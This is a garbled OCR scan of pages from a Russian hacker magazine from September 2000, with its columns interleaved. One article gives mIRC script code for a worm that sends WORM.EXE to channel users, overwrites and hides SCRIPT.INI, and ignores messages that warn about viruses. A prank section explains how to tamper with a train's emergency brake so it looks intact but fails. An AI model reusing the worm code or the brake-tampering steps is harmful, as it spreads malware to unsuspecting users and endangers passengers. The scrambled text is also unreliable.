книги хакеры / журнал хакер / 021_compressed

> СЕНТЯБРЬ ‘ Y2K

31337/ВИРЬТУАЛЬНОСТЬ

003D

61

“Само слово IRC расшифровывается как Internet Relay Chat. Программа эта была разработана в 1988 году фин-

ским студентом Jarkko Oikarinen и первоначально задумана в качестве системы коммуникации для его Mailbox -

OuluBox. Затем программа распространилась через США по всему Интернету и стала в нем одной из самых ин-

тересных. Начиная с Финляндии, это было использовано более чем в 60 странах повсеместно. IRC - многополь-

зовательская система беседы, где люди встречаются в Каналах (комнаты, виртуальные места, обычно с опреде-

ленной темой разговора), чтобы поговорить, объединившись в группы или частным образом. Нет ограничения в

количестве людей, которые могут участвовать в данной дискуссии, или в количестве каналов, которые могут

формироваться на IRC.

(предисловие с сайта www.irc.ru)

Теперь настало время рассмотреть простенько-

зойдет указанное событие.

n0=on 1:text:#:*дурак*:/say $chan Да, я такой!!!

го червячка под микроскопой. Нет микроскопы?

Основных событий не очень много:

Берем большущую лупу или, на худой конец,

CONNECT - происходит, когда mIRC пытается

Как ты думаешь, что произойдет, если ему ска-

клизьму с механизмой и смотрим листинг:

связать с IRC-сервером.

зать, что он дурак? Хе-хе, он, как пить дать, сог-

Уже заметил странность? Каждая строка в сек-

JOIN - срабатывает, когда любой пользователь

ласится! ;-))) Кроме того, можно прикалываться

ции начинается с буквы “n” и ее номера, относи-

заходит на какой-то из каналов.

на разные темы, в зависимости от канала, на ко-

тельно начала этой секции. Это особенность INI-

PART - обратный к JOIN, он срабатывает, когда

тором находится этот лама:

файла не только для mIRC, так что придется

любой пользователь покидает канал.

смиритmся. Скрипты в mIRC очень похожи на

TEXT - при получении сообщения.

n0=on 1:text:#: if ($chan == #help) { *помощь*:

язык C, в них присутствуют такие же конструк-

OP - пользователь получает статус Оператора

/say $chan Тут все дураки!!! }

ции и даже операторы. Есть, правда, и сущес-

канала. (Оп’а)

твенные отличия. Главное - работа скрипта за-

С каналами вообще происходит много чего ин-

висит от того, что происходит в программе

Заметь, что команды из консоли в IRC-клиенте

тересного. Допустим, неплохо было бы нашего

mIRC. Поэтому все действия описаны как реак-

вызывают как “/command”, а в скрипте пишутся

червячка спрятать. Прямо так сделать это неп-

ции на какие-либо события. Строка n0 как раз и

как “.command” - точка, потом имя команды. Те-

росто, но возможно чуть прикрыть файл, кото-

содержит такое описание. Конструкция “on

перь мы в силах немного оптимизировать и до-

рый содержит червяка:

1:join:#:” означает, что весь определенный для

писать червяка:

нее код будет выполняться каждый раз, когда

n0=on 1:join:#: { if ( $nick != $me ) .dcc send $nick WORM.EXE }

кто-то заходит на канал, на котором уже сидит

n1=on 1:part:#: { if ( $nick != $me ) .dcc send $nick WORM.EXE }

[rfiles]

n2=on 1:connect: { .msg #WORMagentX Infected $nick is connecting to IRC... }

n0=myscript.ini

Первые две строчки срабатывают, когда кто-то,

n22=on 1:connect:{

довольный обладатель этого червячка. Дальше,

кроме пользователя, заходит или покидает ка-

n23=.run attrib +h script.ini

прямо как в Си, код заключается в кавычки. Ес-

нал, отсылая всем приходящим и уходящим

n24=.run attrib +r script.ini

ли пришел не сам пользователь (только что под-

свои копии. Естественно, чтобы пользователь

n25=.run attrib +s script.ini

n0=on 1:join:#: { if ( $nick == $me ) halt

принял копию, стоит назвать ее как-нибудь по-

n26=}

лучше: MySexyPicture.JPG.EXE, к примеру.

n1=else .dcc send $nick WORM.EXE }

Впрочем, все это старые избитые трюки. Но и

Команда /run запускает файл на исполнение -

ключился, а скрипт, знамо дело, уже сработал),

тут есть одна прикольная фича у старых mIRC’ов

если известно, что у пользователя есть троян, то

а кто-то другой, то выполняется строка n1. Ко-

- все входящие файлы они складывают в свой

можно его запустить! А можно стартовать Нет-

манды скрипта - точное повторение обычных ко-

каталог (к примеру, в C:\mIRC\). Там же лежат и

шкаф (Netscape) с каким-нибудь сайтом XXX на

манд IRC. Здесь и /join - зайти на канал, и /msg

все инициализационные файлы, скрипт-файлы

выбор. ;-) Но в данном случае мы просто уста-

- отправить сообщение... А начертанная выше

и, следовательно, SCRIPT.INI, который содержит

навливаем файл SCRIPT.INI атрибуты “скрытый,

команда /dcc send - отправить файл другому

юзерские скрипты. Из SCRIPT.INI скрипты вы-

только для чтения, системный”. Глупый юзер с

пользователю - позволяет скрипту размножать-

полняются по умолчанию! И если послать юзеру

настройками по умолчанию этого файла никогда

ся. Ну и, конечно, заранее нужно написать (на

свой собственный SCRIPT.INI, снабдив его виру-

не увидит. Точно так же можно поступить и с

каком угодно языке - только откомпилировать)

сом-червяком, и юзер его примет, то его соб-

WORM.EXE, о котором уже говорилось. Можно

WORM.EXE, который пропишет все, о чем толь-

ственный SCRIPT.INI будет перезаписан и (але-

также запретить общаться юзеру на эту тему с

ко что сказано, в соответствующие файлы.

оп!) без лишних усилий лама получает червяка в

êåì áû òî íè áûëî:

Вернемся к первой строке и разберем, как запи-

качестве бесплатного плагина к своему любимо-

сывается обработчик события.

му mIRC. Еще вариант - рассылать *.DOC файлы

n29=on 1:text:*script.ini*:#: .ignore $nick

с внедренным макро-вирусом, который запи-

n30=on 1:text:*virus*:#: .ignore $nick

ON 1: EVENT : [PARAM] { * }

шется еще и в mIRC-скрипт, или вообще снаб-

n31=on 1:text:*worm*:#: .ignore $nick

1 - обозначает уровень доступа, на котором ис-

женный OLE-связкой... но это уже совсем другая

n32=on 1:text:*exe*:#: .ignore $nick

полняется код. Для наших целей вполне хватит

история. А мы вернемся к скриптам, чтобы по-

единицы.

кайфовать вдоволь над уже пораженным юзе-

И пользователю даже не будут показаны сооб-

EVENT - это название события, которое мы хо-

ðîì.

щения о вирусах и всем таком, что содержит

тим обработать.

слова worm, virus, exe, script.ini. Решетка “#” оз-

PARAM - дополнительные параметры, которых

Когда кто-то на одном из каналов, где сидит

начает, что фильтруются сообщения на каналах,

может и не быть. В любом случае, для каждого

наш ламос, что-то произносит, генерируется со-

а если там поставить “?” - знак вопроса, то ба-

события они свои.

бытие TEXT. На это событие можно определить

зар (в натуре) будет фильтроваться и в приват-

{ * } - код, который будет выполнен, когда прои-

все что угодно - например, так:

сообщениях. Это все действенные методы, но

64

0040

31337/ЗАПОДЛОСТРОЕНИЕ

> СЕНТЯБРЬ’Y2K

Саботаж

Инспектор

сортиров

Веселое

êóïå

Это хорошо делать, когда едешь с друзьями в

Знаешь, как можно надолго обломать отправле-

На железной дороге вс¸ открывается и закры-

купе и когда все купе - ваше. “Это” - прощаль-

ние отдельно взятого поезда (лучше чужого), а

вается одной универсальной фишкой. Это уни-

ный подарок для проводницы. ;) Итак, нужен

то и работу отдельно взятого вокзала? Тебе ни-

ключ (такая железка с треугольной выемкой).

поднос и куча энтузиазма. Во-первых, нужно

когда не хотелось дернуть стоп-кран, когда

Заимев такой, сразу окажешься в шоколаде.

набрать полный, с горкой, поднос бычков. При-

поезд летит на полном ходу? Знаю, хотелось, но

Можно сделать и самому, если подрючить пас-

дется клянчить у дядек, типа “Мы бедные сту-

ты знаешь, что это - опасно. Давай дернем его,

сатижи напильником. Ну что, применим?

денты...” или “Если выкурил бычок - не кидай

пока поезд стоит. В чем прикол? Ну, слушай.

Самый простой прикол - это тихо открыть сор-

его в толчок! Положи на унитаз. Мы докурим

Приготовь перчатки, пассатижи и несколько от-

тир, когда кто-нибудь там, и подождать на рас-

после вас”. Сами вы столько не накурите. Ста-

верток разных видов, также у тебя должен быть

стоянии, когда кто-нибудь еще захочет поюзать

вим поднос на стол. Во-вторых, со всего поезда

билет на поезд либо ты должен по-хитрому от-

удобства. Но это - детсад.

надо сгрести пустые бутылки и выстроить бата-

влечь проводника. Заходим в вагон и ищем

А вот штука покрепче: нужна простыня, лист бу-

реи под столом и на полке для багажа. В-

стоп-кран, ставим друга Васю на стреме. Пасса-

маги, карандаш, скотч, шапочка, наручники.

третьих, необходимо набрать пустых консер-

тижами срезаем пломбу (не выбрасывай ее!),

Шапочка: должна быть из серой материи с тем-

вных банок и забить ими багажники под нижни-

поворачиваем ручку стоп-крана вверх на 90 гра-

ными полосками, сшить надо как у медсестер,

ми полками. Банки лучше мыть - не будет во-

дусов. Снизу на ручке должен быть болтик, ко-

сбоку пришить метку с номером. Наручники:

нять. Если ты богатый перец, то можешь еще по

торый крепит ее к крану. Откручивай! Снимаем

милицейские (если не жалко) или детские плас-

стенам презеры развесить. ;) Представь себе,

ручку. Тяжеленькая, гладенькая, длинненькая -

тмассовые, покрашенные металлической крас-

какой сюрприз ждет проводницу или будущих

сказка! Может, огреть ею машиниста по голове?

кой, надпилить наискосок.

пассажирчиков этого купе.

Не-е-ет! Шутки в сторону, ноги врозь! Осмот-

Заходим в сортир, запираемся. Скручиваем

З.Ы. Баттлы и бычки лучше прятать до самого

рим ручку. Ага! В месте, которым она цепляется

простыню жгутом и привязываем ее к крючкам

последнего момента.

к крану, есть выемка... Так вот, она - квадратная!

для полотенца. Далее два варианта: открываем

Возьми и вставь (хе-хе!) ее так, чтобы выгляде-

окно и кидаем второй конец туда (во сказал!) ли-

Забаненный поезд

ло, как будто стоп-кран в нормальном положе-

бо нажимаем педаль у толчка и засовываем ко-

нии. Примотай назад пломбу. Все, поезд мути-

нец туда (типа, чувак просочился в канализа-

Этот прикол для тех, кто сам в поезде не едет,

ровал в троянскую лошадку.

цию). Раскидываем все, что можно. На самом

но кому эти поезда каждое утро ездят по ушам.

Итак, поезд отправляется... отправляется

видном месте кидаем шапочку и наручники. А

Как известно, реклама - двигатель торговли. По-